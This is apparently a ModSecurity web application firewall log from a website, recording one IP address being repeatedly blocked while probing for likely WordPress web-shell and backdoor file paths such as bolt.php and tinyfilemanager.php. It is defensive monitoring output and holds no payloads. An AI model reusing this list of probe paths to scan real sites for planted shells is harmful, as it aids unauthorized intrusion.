[Fri Apr 10 16:24:47.933397 2026] [:error] [pid 3934:tid 3939] [client 172.213.241.33:11170] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/style.php"] [unique_id "adizz4a41m-BS8mg82cIYAAAAMA"]
[Fri Apr 10 16:24:48.393614 2026] [:error] [pid 13189:tid 13200] [client 172.213.241.33:11035] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "adiz0JAxiJKPums3eBAWFQAAAEg"]
[Fri Apr 10 16:24:48.879776 2026] [:error] [pid 13189:tid 13212] [client 172.213.241.33:11199] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "adiz0JAxiJKPums3eBAWFwAAAFQ"]
[Fri Apr 10 16:24:49.398957 2026] [:error] [pid 13102:tid 13167] [client 172.213.241.33:11146] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "adiz0f9xLvjW2guI55YSAAAAAAc"]
[Fri Apr 10 16:24:49.876459 2026] [:error] [pid 13101:tid 13149] [client 172.213.241.33:10964] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "adiz0d8Ldw85818pj2pjNgAAAJA"]
[Fri Apr 10 16:24:50.341858 2026] [:error] [pid 13101:tid 13157] [client 172.213.241.33:11017] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/av.php"] [unique_id "adiz0t8Ldw85818pj2pjOQAAAJg"]
[Fri Apr 10 16:24:50.827534 2026] [:error] [pid 13101:tid 13138] [client 172.213.241.33:10945] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/av.php"] [unique_id "adiz0t8Ldw85818pj2pjPAAAAIU"]
[Fri Apr 10 16:24:51.302046 2026] [:error] [pid 13101:tid 13142] [client 172.213.241.33:11037] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/av.php"] [unique_id "adiz098Ldw85818pj2pjQAAAAIk"]
[Fri Apr 10 16:24:51.782908 2026] [:error] [pid 13101:tid 13155] [client 172.213.241.33:11008] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/av.php"] [unique_id "adiz098Ldw85818pj2pjRgAAAJY"]
[Fri Apr 10 16:24:52.252086 2026] [:error] [pid 3934:tid 3956] [client 172.213.241.33:11022] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "adiz1Ia41m-BS8mg82cIaAAAANE"]
[Fri Apr 10 16:24:52.725364 2026] [:error] [pid 3934:tid 3957] [client 172.213.241.33:11108] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "adiz1Ia41m-BS8mg82cIbAAAANI"]
[Fri Apr 10 16:24:53.190303 2026] [:error] [pid 3934:tid 3963] [client 172.213.241.33:11187] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "adiz1Ya41m-BS8mg82cIcgAAANg"]
[Fri Apr 10 16:24:53.666071 2026] [:error] [pid 3934:tid 3960] [client 172.213.241.33:11208] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "adiz1Ya41m-BS8mg82cIdwAAANU"]
[Fri Apr 10 16:24:54.127585 2026] [:error] [pid 13102:tid 13168] [client 172.213.241.33:11124] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless4.php"] [unique_id "adiz1v9xLvjW2guI55YSJAAAAAg"]
[Fri Apr 10 16:24:54.591678 2026] [:error] [pid 3934:tid 3955] [client 172.213.241.33:11046] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless4.php"] [unique_id "adiz1oa41m-BS8mg82cIgwAAANA"]
[Fri Apr 10 16:24:55.074103 2026] [:error] [pid 3934:tid 3943] [client 172.213.241.33:11028] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless4.php"] [unique_id "adiz14a41m-BS8mg82cIhQAAAMQ"]
[Fri Apr 10 16:24:55.533378 2026] [:error] [pid 13100:tid 13115] [client 172.213.241.33:10958] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless4.php"] [unique_id "adiz11zg-ZkZ0InWIP1UywAAAQo"]
[Fri Apr 10 16:24:55.995814 2026] [:error] [pid 3934:tid 3941] [client 172.213.241.33:11047] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-act.php"] [unique_id "adiz14a41m-BS8mg82cIjQAAAMI"]
[Fri Apr 10 16:24:56.460080 2026] [:error] [pid 13100:tid 13129] [client 172.213.241.33:10960] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-act.php"] [unique_id "adiz2Fzg-ZkZ0InWIP1U0AAAARg"]
[Fri Apr 10 16:24:56.923606 2026] [:error] [pid 3934:tid 3939] [client 172.213.241.33:11191] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-act.php"] [unique_id "adiz2Ia41m-BS8mg82cIkwAAAMA"]
[Fri Apr 10 16:24:57.394847 2026] [:error] [pid 3934:tid 3963] [client 172.213.241.33:11205] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-act.php"] [unique_id "adiz2Ya41m-BS8mg82cImQAAANg"]
[Fri Apr 10 16:24:57.862408 2026] [:error] [pid 13100:tid 13111] [client 172.213.241.33:11106] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xqq.php"] [unique_id "adiz2Vzg-ZkZ0InWIP1U1gAAAQY"]
[Fri Apr 10 16:24:58.332692 2026] [:error] [pid 13102:tid 13184] [client 172.213.241.33:11057] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xqq.php"] [unique_id "adiz2v9xLvjW2guI55YSQgAAABg"]
[Fri Apr 10 16:24:58.797300 2026] [:error] [pid 13100:tid 13112] [client 172.213.241.33:11026] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xqq.php"] [unique_id "adiz2lzg-ZkZ0InWIP1U2AAAAQc"]
[Fri Apr 10 16:24:59.256152 2026] [:error] [pid 13100:tid 13116] [client 172.213.241.33:11090] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xqq.php"] [unique_id "adiz21zg-ZkZ0InWIP1U2wAAAQs"]
[Fri Apr 10 16:24:59.719236 2026] [:error] [pid 3934:tid 3959] [client 172.213.241.33:10989] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plss3.php"] [unique_id "adiz24a41m-BS8mg82cIpAAAANQ"]
[Fri Apr 10 16:25:00.200305 2026] [:error] [pid 3934:tid 3945] [client 172.213.241.33:11060] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plss3.php"] [unique_id "adiz3Ia41m-BS8mg82cIpgAAAMY"]
[Fri Apr 10 16:25:00.658249 2026] [:error] [pid 3934:tid 3939] [client 172.213.241.33:11075] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plss3.php"] [unique_id "adiz3Ia41m-BS8mg82cIsAAAAMA"]
[Fri Apr 10 16:25:01.118157 2026] [:error] [pid 3934:tid 3940] [client 172.213.241.33:11144] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plss3.php"] [unique_id "adiz3Ya41m-BS8mg82cItQAAAME"]
[Fri Apr 10 16:25:01.601180 2026] [:error] [pid 3934:tid 3950] [client 172.213.241.33:11126] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aaa.php"] [unique_id "adiz3Ya41m-BS8mg82cIvAAAAMs"]
[Fri Apr 10 16:25:02.065955 2026] [:error] [pid 3934:tid 3958] [client 172.213.241.33:11247] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aaa.php"] [unique_id "adiz3oa41m-BS8mg82cIvwAAANM"]
[Fri Apr 10 16:25:02.546850 2026] [:error] [pid 13102:tid 13174] [client 172.213.241.33:10977] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aaa.php"] [unique_id "adiz3v9xLvjW2guI55YSYQAAAA4"]
[Fri Apr 10 16:25:03.024354 2026] [:error] [pid 13102:tid 13166] [client 172.213.241.33:10952] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aaa.php"] [unique_id "adiz3_9xLvjW2guI55YSZgAAAAY"]
[Fri Apr 10 16:25:03.509478 2026] [:error] [pid 3934:tid 3949] [client 172.213.241.33:11050] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "adiz34a41m-BS8mg82cIzAAAAMo"]
[Fri Apr 10 16:25:03.991169 2026] [:error] [pid 3934:tid 3963] [client 172.213.241.33:11048] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "adiz34a41m-BS8mg82cI0wAAANg"]
[Fri Apr 10 16:25:04.488299 2026] [:error] [pid 13189:tid 13201] [client 172.213.241.33:10949] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "adiz4JAxiJKPums3eBAWIAAAAEk"]
[Fri Apr 10 16:25:04.968394 2026] [:error] [pid 13189:tid 13214] [client 172.213.241.33:11053] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "adiz4JAxiJKPums3eBAWIgAAAFY"]
[Fri Apr 10 16:25:05.432516 2026] [:error] [pid 13189:tid 13193] [client 172.213.241.33:10987] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "adiz4ZAxiJKPums3eBAWIwAAAEE"]
[Fri Apr 10 16:25:05.890327 2026] [:error] [pid 3934:tid 3961] [client 172.213.241.33:10953] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "adiz4Ya41m-BS8mg82cI4gAAANY"]
[Fri Apr 10 16:25:06.349449 2026] [:error] [pid 13101:tid 13138] [client 172.213.241.33:11178] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "adiz4t8Ldw85818pj2pjZAAAAIU"]
[Fri Apr 10 16:25:06.857857 2026] [:error] [pid 13189:tid 13200] [client 172.213.241.33:11197] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "adiz4pAxiJKPums3eBAWKQAAAEg"]
[Fri Apr 10 16:25:07.325472 2026] [:error] [pid 3934:tid 3949] [client 172.213.241.33:11263] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "adiz44a41m-BS8mg82cI6gAAAMo"]
[Fri Apr 10 16:25:07.785299 2026] [:error] [pid 13100:tid 13128] [client 172.213.241.33:11063] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "adiz41zg-ZkZ0InWIP1U5wAAARc"]
[Fri Apr 10 16:25:08.246548 2026] [:error] [pid 3934:tid 3945] [client 172.213.241.33:11121] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "adiz5Ia41m-BS8mg82cI8wAAAMY"]
[Fri Apr 10 16:25:08.713780 2026] [:error] [pid 3934:tid 3946] [client 172.213.241.33:11133] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "adiz5Ia41m-BS8mg82cI9QAAAMc"]
[Fri Apr 10 16:25:09.186081 2026] [:error] [pid 13102:tid 13165] [client 172.213.241.33:11110] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-update.php"] [unique_id "adiz5f9xLvjW2guI55YSkAAAAAU"]
[Fri Apr 10 16:25:09.648348 2026] [:error] [pid 13101:tid 13155] [client 172.213.241.33:10982] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-update.php"] [unique_id "adiz5d8Ldw85818pj2pjbQAAAJY"]
[Fri Apr 10 16:25:10.116701 2026] [:error] [pid 13189:tid 13213] [client 172.213.241.33:11135] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-update.php"] [unique_id "adiz5pAxiJKPums3eBAWNgAAAFU"]
[Fri Apr 10 16:25:10.587498 2026] [:error] [pid 13100:tid 13105] [client 172.213.241.33:11021] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-update.php"] [unique_id "adiz5lzg-ZkZ0InWIP1U8AAAAQA"]
[Fri Apr 10 16:25:11.075006 2026] [:error] [pid 3934:tid 3949] [client 172.213.241.33:11114] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "adiz54a41m-BS8mg82cI_wAAAMo"]
[Fri Apr 10 16:25:11.561056 2026] [:error] [pid 3934:tid 3946] [client 172.213.241.33:10978] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "adiz54a41m-BS8mg82cJAAAAAMc"]
[Fri Apr 10 16:25:12.027294 2026] [:error] [pid 3934:tid 3951] [client 172.213.241.33:10948] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "adiz6Ia41m-BS8mg82cJAwAAAMw"]
[Fri Apr 10 16:25:12.496251 2026] [:error] [pid 3934:tid 3950] [client 172.213.241.33:11056] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "adiz6Ia41m-BS8mg82cJBwAAAMs"]
[Fri Apr 10 16:25:12.968338 2026] [:error] [pid 3934:tid 3956] [client 172.213.241.33:11015] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "adiz6Ia41m-BS8mg82cJCQAAANE"]
[Fri Apr 10 16:25:13.431035 2026] [:error] [pid 3934:tid 3949] [client 172.213.241.33:11086] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "adiz6Ya41m-BS8mg82cJEQAAAMo"]
[Fri Apr 10 16:25:13.893017 2026] [:error] [pid 3934:tid 3955] [client 172.213.241.33:10966] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "adiz6Ya41m-BS8mg82cJFgAAANA"]
